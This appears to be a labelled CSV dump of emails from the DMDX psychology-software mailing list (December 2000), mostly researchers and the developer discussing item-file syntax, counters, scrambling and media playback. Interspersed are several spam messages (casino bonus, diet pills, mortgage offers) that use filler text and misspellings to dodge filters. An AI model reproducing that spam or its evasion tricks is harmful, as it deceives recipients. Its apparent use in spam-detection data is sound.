>Ctrl""> >$ >100 ; >$ >+1 * ""1"" , ""1"" , ""1"" >, ""1"" , 0.4,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1"" , ""1""/; >+2 * ""1"" , ""1"" , >""1"" , ""1"" , 0.6,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1""/; >+3 * ""1"" , ""1"" , >""1"" , ""1"" , 0.4,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1"" , ""1""/; >+4 * ""1"" , ""1"" , ""1"" >, ""1"" , >""1"" , ""1"" , ""1"" , ""1"" , 0.6,0.75> ""1"" , ""1""/; >+5 * ""1"" , ""1"" , ""1"" >, ""1"" , >""1"" , ""1"" , ""1"" , ""1"" , 0.6,0.75> ""1"" , ""1""/; >+6 * ""1"" , ""1"" , >""1"" , ""1"" , 0.6,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1""/; >+7 * ""1"" , ""1"" , >""1"" , ""1"" , 0.6,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1""/; >$ >+8 * ""1"" , ""1"" , >""1"" , ""1"" , 0.4,0.5> ""1"" , ""1"" , ""1"" , ""1"" >, ""1"" , >""1"" /; >200 ""The End""; >$ > > >When I try to run this script I get the following error >message: > ><$100> Missing Item Number > >Does anyone have an idea why this happens? > >Cheers, Arie > >---------------------- >Arie van der Lugt >School of Psychology >University of Exeter > >Washington Singer Laboratories >Perry Road >Exeter UK EX44QG >Telephone: (0044)01392-264636 >Fax: (0044)01392-264623 > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Dec 2000 12:45:16 -0700",[DMDX] 2.3.03,"I've added links between the DMDXH.HLP file and TIMEDXH.HLP so they're a bit easier to navigate when one file refers to the other. I've changed the way syntax errors are displayed, they should all generate dialogs now and you should no longer get spurious warnings about missing clockons when in fact the error was generated by something else and you had to consult the diagnostics to see what in fact was the problem. I've also added more functionality to the keyword for counters addressing a few shortcomings, a new usage has been added where text can be one of the following: CounterN The value of counter N, for example would set (and create if necessary) counter 3 to the value counter 2 had when this keyword is parsed. LastRT Absolute value of the last Reaction Time gathered in whole milliseconds (rounded down). LastXT Last Reaction Time gathered in whole milliseconds (rounded down, will be negative if response incorrect). ErrorRate The error rate at the end of the previous item (useful for multiple tests against the error rate as a branch on the error rate will reset it). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program.",0,0 Jenn-Yeu Chen ,DMDX@psy1.psych.arizona.edu,"Fri, 08 Dec 2000 09:18:19 +0800",[DMDX] Re: IF...THEN in DMDX and others,"""j.c.f."" 寫道： > > At 09:48 AM 12/6/00 +0800, you wrote: > >Hi, I bet answers can be found in the DMDX manual for the following > >questions. But, since I have not found them and I need them kind > >of urgently, I am taking a shortcut, i.e., getting answers from people who > >are more familiar with DMDX. > > Hey, don't worry, no one actually reads the help files, why should you > be any different? > > >The first question is: Can DMDX take IF...THEN command to control the kind > >of operations to be performed? I want to sound a warning > >signal for the subject if his/her reaction time exceeds a preset deadline. > >I want to do this but still obtain the actual reaction > >time. Can someone tell me how this can be done? > > No, decisions can only be made on an item by item basis, nothing can be > done as an item is executing. And before you ask, no, DMDX will never have > this capability. All you could do would be to provide some sort of warning > after the fact and even that would require a new keyword to store the RT in > a counter so a comparison can be made against it, however adding that > keyword would be pretty trivial. That's exactly what I need. What's the keyword? > > >The second question is: Is there a way, and how, to output the > >experimenter specified information to a file whose data structure can > >be matched with that of the data file that DMDX creates? In conjunction > >with the RT data, I want to be able to store all the codes > >that define the experimental condition of a trial, together with the > >stimuli that are shown on that trial. > > Set the keywords SET and EMIT in the DMDX help file. You can't write to > a separate data file but you can EMIT the value of a counter to the output > data file, so if you have several datum to write you could have multiple > SET / EMIT pairs in one item. Great. I'll explore the SET/EMIT keywords. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > ""What George Washington did for us was to throw out the British, so > that we wouldn't have a fat, insensitive government running our > country. Nice try anyway, George."" > > - D.J. on KSFO/KYA > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- 陳振宇 教授兼系主任 國立中正大學心理學系暨研究所 認知科學研究中心 嘉義縣民雄鄉三興村160號 (05) 2720411轉5520 Jenn-Yeu Chen, Ph.D. Professor and Chair Department of Psychology and Center for Research in Cognitive Science National Chung-Cheng University 160 San-Hsing Village, Min-Hsiung Chia-Yi, Taiwan 621 ",0,1 Jenn-Yeu Chen ,DMDX@psy1.psych.arizona.edu,"Fri, 08 Dec 2000 09:18:53 +0800",[DMDX] Re: IF...THEN in DMDX and others,"""Jonathan C. Forster"" 寫道： > > At 09:28 AM 12/6/00 -0700, you wrote: > > Sorry, that should be: > > > See the keywords SET and EMIT in the DMDX help file. This is an interesting slip. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Main's Law: > For every action there is an equal and opposite government > program. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- 陳振宇 教授兼系主任 國立中正大學心理學系暨研究所 認知科學研究中心 嘉義縣民雄鄉三興村160號 (05) 2720411轉5520 Jenn-Yeu Chen, Ph.D. Professor and Chair Department of Psychology and Center for Research in Cognitive Science National Chung-Cheng University 160 San-Hsing Village, Min-Hsiung Chia-Yi, Taiwan 621 ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 07 Dec 2000 22:46:52 -0700",[DMDX] Re: IF...THEN in DMDX and others,"At 09:18 AM 12/8/00 +0800, you wrote: > > No, decisions can only be made on an item by item basis, nothing can be > > done as an item is executing. And before you ask, no, DMDX will never have > > this capability. All you could do would be to provide some sort of warning > > after the fact and even that would require a new keyword to store the RT in > > a counter so a comparison can be made against it, however adding that > > keyword would be pretty trivial. > >That's exactly what I need. What's the keyword? Usually for a specific modification made to DMDX for a non UofA person I would ask for a donation to the UofA Psychology Hardware Fund, however the current device I want is a digital camera that has a zoom on it so I can take closeups of things and retail on a device like the Epson 3000Z is over $700US and unless things are amazingly cheap in Taiwan I feel that is a little steep for this particular modification. So, unless you have a second hard digital camera that has a zoom on it lying around the place that you wouldn't mind giving to me you get this one for nada. The keyword you want is a new wrinkle on the keyword in the latest version of DMDX, 2.3.03, specifically . This will allow you to store the last RT gathered in a counter and then do a test on that counters value. For a really neat item file you can stuff the test in a subroutine, something like the following, assuming 4000ms is your warning level and 8000ms the cut off: F30 T8000 0 ""instructions"" ; 100 d0 ! %0 ; 0 ""You are taking too long""; 110 d0 ! %0 ; 1000 * ""target 1"" / ; 1001 * ""target 2"" / ; 0 ""Done""L; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What George Washington did for us was to throw out the British, so that we wouldn't have a fat, insensitive government running our country. Nice try anyway, George."" - D.J. on KSFO/KYA",0,0 Arie van der Lugt ,DMDX@psy1.psych.arizona.edu,"Fri, 08 Dec 2000 10:22:17 +0000",[DMDX] Re: Branching and Scrambling,"On Thu, 07 Dec 2000 11:24:52 -0700 ""Jonathan C. Forster"" wrote: >Probably because you need to specify the block size to >scramble, like . by itself >probably doesn't even turn scrambling on Yes, that does the trick, thanks a lot! You may want to change the help file on the scramble keyword because it is kind of suggestive that it defaults to block size 1, it was only on second reading that I realised that the default was for the group size parameter rather than the block size... 'N defines the scramble block size, the number of groups that the scramble routines will move as a unit. If no grouping parameter is present the group size is 1 item' Anyway, thanks again for your help on this. Arie ---------------------- Arie van der Lugt School of Psychology University of Exeter Washington Singer Laboratories Perry Road Exeter UK EX44QG Telephone: (0044)01392-264636 Fax: (0044)01392-264623",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 08 Dec 2000 08:43:49 -0700",[DMDX] Re: Branching and Scrambling,"At 10:22 AM 12/8/00 +0000, you wrote: >'N defines the scramble block size, the number of groups >that the scramble routines will move as a unit. If no >grouping parameter is present the group size is 1 item' Ah, well I grant that that is a little terse, however the N isn't enclosed in square brackets meaning it's not optional. That's what you get when the programmer writes the docs... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What George Washington did for us was to throw out the British, so that we wouldn't have a fat, insensitive government running our country. Nice try anyway, George."" - D.J. on KSFO/KYA ",0,0 Kathie Hooker ,DMDX@psy1.psych.arizona.edu,"Sun, 10 Dec 2000 01:35:20 -0300",largest online jackpots," Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? Welcome to Hi Roller Casino, Where Fortunes are Made! Hi Roller Casino offers over 60 interactive games, including six progressive slots and three progressive games that have paid out some of the largest online jackpots in history! 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However, these counter commands seem to work only for looping on the same item and not for decrementing the count across a series of items, because I get the error: ""multiple pending operations per counter not allowed"". I want to branch if accuracy to the first question about valence is below 75% and I want to emit the accuracy to the second question about stimulus content at the end of the block before branching. Is there a way to do this? Thanks. A piece of the item file: t2500 f.5 d180 8881 ""Ready?""; 8882 d60/; -1001 %20 g"" E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant Unpleasant Neutral?""/ ; -2001 %60 *""Face No Face?""/ ; +1002 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Neutral"" /%60 ""Pleasant Unpleasant Neutral?""/ ; + 2002 %60 *""Face No Face?""/ ; -1003 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant Unpleasant Neutral?""/ ; + 2003 %60 *""Face No Face?""/ ; +1004 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set1 Negative"" /%60 ""Pleasant Unpleasant Neutral?""/ + 2002 %60 *""Face No Face?""/ < cicLE 1, 2, -8881>; 8883 ""Ready?""; 8884 d60/; . . . Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Dec 2000 16:03:33 -0700",[DMDX] Re: branching with 2 counters,"Should be possible, I think it's an error in the syntax check code, it doesn't clear those pending operations unless they actually execute (and in a syntax check they don't), 2.3.04 will have that fixed. BTW, you're missing a semi colon in item 1004. Also f.5 in the parameter line is invalid (it'll be interpreted as F0), you can't use seconds to F, only counts of frames. And much to my surprise I find you can't have + 2002 (space between the CR indicator and the item number), it's got to be +2002, might fix that in 2.3.04 too. At 03:38 PM 12/14/00 -0700, you wrote: >I am trying to track separate accuracies to 2 different questions (emotional >valence induced by stimulus and content of stimulus)per item. >I didn't find a way to track 2 separate accuracies per item >and across items with the command, so I tried to use the > set counter and command and set up a different counter >for each type of accuracy I'm tracking. However, these counter commands >seem to work only for looping on the same item and not for decrementing >the count across a series of items, because I get the error: ""multiple >pending operations per counter not allowed"". I want to branch if accuracy >to the first question about valence is below 75% and I want to emit the >accuracy to the second question about stimulus content at the end of the >block before branching. Is there a way to do this? Thanks. > >A piece of the item file: > > t2500 f.5 d180 > > > > >8881 ""Ready?""; >8882 d60/; > >-1001 %20 g"" E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant > Unpleasant Neutral?""/ ; > >-2001 %60 *""Face No Face?""/ ; > >+1002 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Neutral"" /%60 >""Pleasant Unpleasant Neutral?""/ ; > >+ 2002 %60 *""Face No Face?""/ ; > >-1003 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant > Unpleasant Neutral?""/ ; > >+ 2003 %60 *""Face No Face?""/ ; > >+1004 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set1 Negative"" /%60 ""Pleasant > Unpleasant Neutral?""/ > >+ 2002 %60 *""Face No Face?""/ < cicLE 1, 2, -8881>; > >8883 ""Ready?""; >8884 d60/; > >. . . > > > > > > >Keolani Taitano, Ph.D. >Postdoctoral Research Fellow >Department of Psychiatry >University of Arizona Health Sciences Center >P.O. Box 245002 >Tucson, AZ 85724-5002 > >voice: 520-235-9588 >fax: 253-369-3571 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program.",0,1 """Jonathan C. Forster <""",DMDX@psy1.psych.arizona.edu,"Thu, 14 Dec 2000 16:03:33 -0700",[DMDX] Re: branching with 2 counters,"Should be possible, I think it's an error in the syntax check code, it doesn't clear those pending operations unless they actually execute (and in a syntax check they don't), 2.3.04 will have that fixed. BTW, you're missing a semi colon in item 1004. Also f.5 in the parameter line is invalid (it'll be interpreted as F0), you can't use seconds to F, only counts of frames. And much to my surprise I find you can't have + 2002 (space between the CR indicator and the item number), it's got to be +2002, might fix that in 2.3.04 too. At 03:38 PM 12/14/00 -0700, you wrote: >I am trying to track separate accuracies to 2 different questions (emotional >valence induced by stimulus and content of stimulus)per item. >I didn't find a way to track 2 separate accuracies per item >and across items with the command, so I tried to use the > set counter and command and set up a different counter >for each type of accuracy I'm tracking. However, these counter commands >seem to work only for looping on the same item and not for decrementing >the count across a series of items, because I get the error: ""multiple >pending operations per counter not allowed"". I want to branch if accuracy >to the first question about valence is below 75% and I want to emit the >accuracy to the second question about stimulus content at the end of the >block before branching. Is there a way to do this? Thanks. > >A piece of the item file: > > t2500 f.5 d180 > > > > >8881 ""Ready?""; >8882 d60/; > >-1001 %20 g"" E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant > Unpleasant Neutral?""/ ; > >-2001 %60 *""Face No Face?""/ ; > >+1002 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Neutral"" /%60 >""Pleasant Unpleasant Neutral?""/ ; > >+ 2002 %60 *""Face No Face?""/ ; > >-1003 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set 1 Pleasant""/%60 ""Pleasant > Unpleasant Neutral?""/ ; > >+ 2003 %60 *""Face No Face?""/ ; > >+1004 %20 g""E:\\Data\\crosshair.bmp""/%7 *""Set1 Negative"" /%60 ""Pleasant > Unpleasant Neutral?""/ > >+ 2002 %60 *""Face No Face?""/ < cicLE 1, 2, -8881>; > >8883 ""Ready?""; >8884 d60/; > >. . . > > > > > > >Keolani Taitano, Ph.D. >Postdoctoral Research Fellow >Department of Psychiatry >University of Arizona Health Sciences Center >P.O. Box 245002 >Tucson, AZ 85724-5002 > >voice: 520-235-9588 >fax: 253-369-3571 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Dec 2000 16:33:40 -0700",[DMDX] 2.3.05," 2.3.05 is up on the the website and it fixes the syntax checking of the new features that have been added recently (you can tell I don't really use the syntax check a whole lot ;) -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 14 Dec 2000 16:46:58 -0700",[DMDX] Re: 2.3.04," Wrong, 2.3.04 is up on the website, not 2.3.05. And you can't have space between the CR and item number, that's _way_ old code that I don't feel like disturbing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program. ",0,0 Vanessa Cornelius ,"DMDX@psy1.psych.arizona.edu, jasmine@psy1.psych.arizona.edu, greg@psy1.psych.arizona.edu, luann@psy1.psych.arizona.edu, marie@psy1.psych.arizona.edu, jessie@psy1.psych.arizona.edu, cecilia@psy1.psych.arizona.edu, janelle@psy1.psych.arizona.edu","Fri, 15 Dec 2000 00:35:18 -0300",Supports Total Healthy Lifestyles ," Diet Pill Breakthrough!!! What if you could actually shed 10, 15 or even 25 pounds quickly and safely in less then 30 days? NOW YOU CAN... Click below to learn more about Hoodia: http://051.healthhotdog.com aarhus you bask me, reserpine bandit . compatible you hypodermic me, coffeecup . autosuggestible you bolt me, strata . arturo you germinal me, passerby deflater stocky . asteroidal you facile me, polymer . ass you antimony me, dyspeptic dickey someplace . http://051.healthhotdog.com/rm/ ",1,1 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Fri, 15 Dec 2000 12:28:00 -0800",[DMDX] Random item placement,"Greetings I've read the documentation and tutorials regarding the random scrambling of the order of a group of items. I'm interested in running an experiment in which a series of items are presented - many of these I want to be static, but interspersed I'd like to randomly place other ""filler"" items that would be taken from a pool. Is there any way to do this in DMDX? Thanks for any help. Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 15 Dec 2000 18:24:48 -0700",[DMDX] Re: Random item placement,"At 12:28 PM 12/15/00 -0800, you wrote: >Greetings > >I've read the documentation and tutorials regarding the random >scrambling of the order of a group of items. I'm interested in running >an experiment in which a series of items are presented - many of these I >want to be static, but interspersed I'd like to randomly place other >""filler"" items that would be taken from a pool. Is there any way to do >this in DMDX? Check the scramble $ character. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What George Washington did for us was to throw out the British, so that we wouldn't have a fat, insensitive government running our country. Nice try anyway, George."" - D.J. on KSFO/KYA ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Mon, 18 Dec 2000 12:52:17 -0700",[DMDX] Re: Random item placement,"Mike Dobbs, At 12:28 PM 12/15/00 -0800, you wrote: >I've read the documentation and tutorials regarding the random >scrambling of the order of a group of items. I'm interested in running >an experiment in which a series of items are presented - many of these I >want to be static, but interspersed I'd like to randomly place other >""filler"" items that would be taken from a pool. Is there any way to do >this in DMDX? Jonathan's comment is correct -- enclosing an item between a pair of $s fixes its location, and the other items are then randomly positioned. But if the filler items are supposed to be a random sample from a larger pool of items, then there is more to it than that. I don't know whether that was the intent, but even if it wasn't, this is an interesting question. One possible solution is as follows. Suppose you have 5 test items to be displayed in constant positions, along with 50 filler items sampled randomly from a pool of 100 items. This can be achieved with the following arrangement: n55 f50 s1 10 filler items $ test item 1$ 10 filler items $ test item 2 $ 10 filler items $ test item 3 $ 10 filler items $ test item 4 $ 10 filler items $ test item 5 $ $0 ""That's the end.""; $ 50 filler items Note the scramble parameter value of 1. This is critical. --KIF ",0,0 Keolani Taitano ,DMDX@psy1.psych.arizona.edu,"Mon, 18 Dec 2000 17:31:14 -0700",[DMDX] FW: Re: branching with 2 counters,"Thanks for the previous information. The program runs with version 2.2.04 without complaints from the syntax checker (and runs with 2.2.03, but with syntax complaints). I found that I had to place the command in a separate item line after the last item requiring a response, or the response wouldn't get counted by the time the Call command was executed. So, I couldn't have the and at the end of the item line requiring the response (presenting the stimulus to be responded to). A different problem I've recognized now is that responses using either Bit 2 or Bit 4 on a 3-button mouse are read as correct to items that should have only Bit 4 or Bit 2 mapped as the correct response. This is after running the PIO test with TimeDX. I've attached the .zil file that shows responses with either Bit to items number ""100X"" incorrectly increment counter 1 when only Bit 2 or Bit 4 responses should do so. What am I missing that explains these results? Thanks very much for your help. t2500 f.5 d90 8881 ""Ready?""; 8882 d60/; -1001 %20 g"" C:\\Lane\\crosshair.bmp""/%30 *""Set 1 Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; -2001 %30 *""Face No Face?""/ ; +1002 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set 1Neutral"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2002 %30 *""Face No Face?""/ ; -1003 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set 1Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; +2003 %30 *""Face No Face?""/ ; +1004 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set1 Negative"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2004 %30 *""Face No Face?""/ ; 8883 ; 8884 ""Ready?""; 8885 d60/; -1005 %20 g"" C:\\Lane\\crosshair.bmp""/%30 *""Set 2 Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; -2005 %30 *""Face No Face?""/ ; +1006 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set 2 Neutral"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2006 %30 *""Face No Face?""/ ; -1007 %20 g""C:\\Lane\\crosshair.bmp""/%30 * ""Set 2 Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; +2007 %30 *""Face No Face?""/ ; +1008 %20 g""C:\\Lane\\crosshair.bmp""/%30* ""Set 2 Negative"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2008 %30 *""Face No Face?""/ ; 8886 < cicLE 1, 2, -8881> /; 8887 ""Ready?""; 8888 d60/; -1009 %20 g"" C:\\Lane\\crosshair.bmp""/%30 *""Set 3 Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; -2009 %30 *""Face No Face?""/ ; +1010 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set 3 Neutral"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2010 %30 *""Face No Face?""/ ; -1011 %20 g""C:\\Lane\\crosshair.bmp""/%30 *""Set 3 Pleasant""/%30 ""Pleasant Unpleasant Neutral?""/ ; +2011 %30 *""Face No Face?""/ ; +1012 %20 g""C:\\Lane\\crosshair.bmp""/%30 * ""Set 3 Negative"" /%30 ""Pleasant Unpleasant Neutral?""/ ; +2012 %30 *""Face No Face?""/ ; 8889 ; 1201 %30 ""Performance at lowest threshold""/; 9999 ""The End"" ; Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571",0,0 Keolani Taitano ,DMDX listserv ,"Mon, 18 Dec 2000 17:36:22 -0700",[DMDX] .zil file to previous msg,"OK--that .zil attachment didn't work, so here it is. Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 18 Dec 2000 18:23:51 -0700",[DMDX] Re: .zil file to previous msg,"At 05:36 PM 12/18/00 -0700, you wrote: >OK--that .zil attachment didn't work, so here it is. Kindly don't send attachments to the list, include an example of the .zil file in you email if you must but you are spamming 120 other people when you send stuff to this list. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 18 Dec 2000 18:30:50 -0700",[DMDX] FW: Re: branching with 2 counters,"At 05:31 PM 12/18/00 -0700, you wrote: >Thanks for the previous information. The program runs with version 2.2.04 >without complaints from the syntax checker (and runs with 2.2.03, but with >syntax complaints). I found that I had to place the command in >a separate item line after the last item requiring a response, or the response >wouldn't get counted by the time the Call command was executed. So, I couldn't >have the and at the end of the item line requiring >the response (presenting the stimulus to be responded to). As the documentation states. >A different problem I've recognized now is that responses using either Bit >2 or Bit 4 on a 3-button mouse are read as correct to items that should >have only Bit 4 or Bit 2 mapped as the correct response. This is after running >the PIO test with TimeDX. I've attached the .zil file that shows responses >with either Bit to items number ""100X"" incorrectly increment counter 1 when >only Bit 2 or Bit 4 responses should do so. > >What am I missing that explains these results? Thanks very much for your >help. It doesn't look like you are unmapping previous button mappings when you map new ones so the old ones stay in effect as well as the new mappings. You want to look at . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do.",0,0 Sharlene ,play99@media.mit.edu,"Mon, 18 Dec 2000 20:51:08 -0400",save your m0ney,"Neither aquaplanes nor cameramen were in sight. Through the fringing palms, The Shadow saw the hulk of a low-lying boat, which might belong to Murk and his companions. Stealthily, The Shadow skirted toward a better vantage point. He was planning to reach an ornamental bridge and make a quick drop into the craft that carried the crooks, before it could really get under way. m0ney prroblems? want <%IMMED1ATE> cash? Your Cred1t-H1story doesnt matter_to_us! $488,ooo.oo at a 3.67% F1xed-R@te $372,ooo.oo at a 3.90% Variab1e-R@te $492,ooo.oo at a 3.21% 1nterest-0nly $248,ooo.oo at a 3.36% F1xed-r@te $198,ooo.oo at a 3.55% Variab1e-Rate Click_here_these 0ffers wi11 expire T0NIGHT",1,1 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Wed, 20 Dec 2000 11:54:35 +1100",[DMDX] Digital video sound quality," We are trying to run an experiment investigating the contribution of lip movements to the perception of aurally presented (non)words. Consequently we made a whole lot of quick-time movies of someone saying each stimulus item. Then we discovered that DMDX would only accept quick-time movies that use a rather old version of a compression algorithm called cinepak. We also discovered that when we ran the files in DMDX, both the video and sound quality were much poorer than there were when we played them using a quick-time player. We recorded them carefully so as to get as much fidelity as we could, and in a quick-time player they sound really good. However, when they are played in DMDX, many of the nonwords become unintelligible. Basically what happens, is that the signal-to-noise ratio seems to be sharply reduced (there is some quite loud hiss, and the signal volume is reduced). I am unsure as to whether the quick-time player uses DirectShow or not, and so I am also unsure whether the problem attributable to DirectShow or to DMDX itself. Is there any way around the problem? Thanks, Michael Johnston =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 20 Dec 2000 08:58:46 -0700",[DMDX] Re: Digital video sound quality,"At 11:54 AM 12/20/00 +1100, you wrote: >We are trying to run an experiment investigating the contribution of lip >movements to the perception of aurally presented (non)words. Consequently >we made a whole lot of quick-time movies of someone saying each stimulus >item. Then we discovered that DMDX would only accept quick-time movies >that use a rather old version of a compression algorithm called cinepak. >We also discovered that when we ran the files in DMDX, both the video and >sound quality were much poorer than there were when we played them using a >quick-time player. We recorded them carefully so as to get as much >fidelity as we could, and in a quick-time player they sound really good. >However, when they are played in DMDX, many of the nonwords become >unintelligible. Basically what happens, is that the signal-to-noise ratio >seems to be sharply reduced (there is some quite loud hiss, and the signal >volume is reduced). I am unsure as to whether the quick-time player uses >DirectShow or not, and so I am also unsure whether the problem >attributable to DirectShow or to DMDX itself. Only way DMDX could degrade it was if you used the default video mode and then it would be converting the video to an 8 bit palette, using a 16 bit video mode will stop that. All audio in DMDX is converted to a 22kHz sampling rate before playing but I doubt that this is your problem, I can't imagine that a lack of frequencies over 11kHz could produce a discernable signal loss. >Is there any way around the problem? Convert the media to a non-quicktime format or install better codecs on the machine. There are a number of ways to upgrade the codecs, upgrade the media player, install a later version of DirectX, install a later version of the OS, or maybe you can buy codecs from Apple. I was playing with the windows update thing and I noticed that installing a later version of IE will upgrade the media player. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Wed, 20 Dec 2000 11:27:15 -0500",[DMDX] Sound Blaster Live,"Finally gave up on the Montego A3DXtream (if anyone wants it, I'll sell it cheap)... The popping was unacceptable, and turning off the hardware acceleration resulted in huge increases in latency and variability (latency of > 16 msec, and variability of close to 2 msec). Furthermore, since Aureal just went bankrupt and Creative Labs bought their assets, driver updates won't happen anytime soon. So, I consulted with one of my students who is an avid gamer in order to get an idea of what his favorite sound card might be. He recommended one of the new Soundblaster Live Platinum cards. His recommendation was a good one. The loop-back test did not work. However, using the CIO/DIO 24 to trigger Neuroscan and measuring the latency from the trigger to the sound onset I could not believe my eyes. We measured approx 5 msec latency to sound onset, with no measurable variability. None! The waveforms from trial to trial were virtually identical. And, this card is cleaner and quieter than even my Event Electronics Darla card (specifically designed for multitrack digital music recording) in my home PC!!! In short, the auditory stimuli are crystal clear, and I have yet to find evidence for noise or delays. The best part is that CompUSA has these cards on sale for 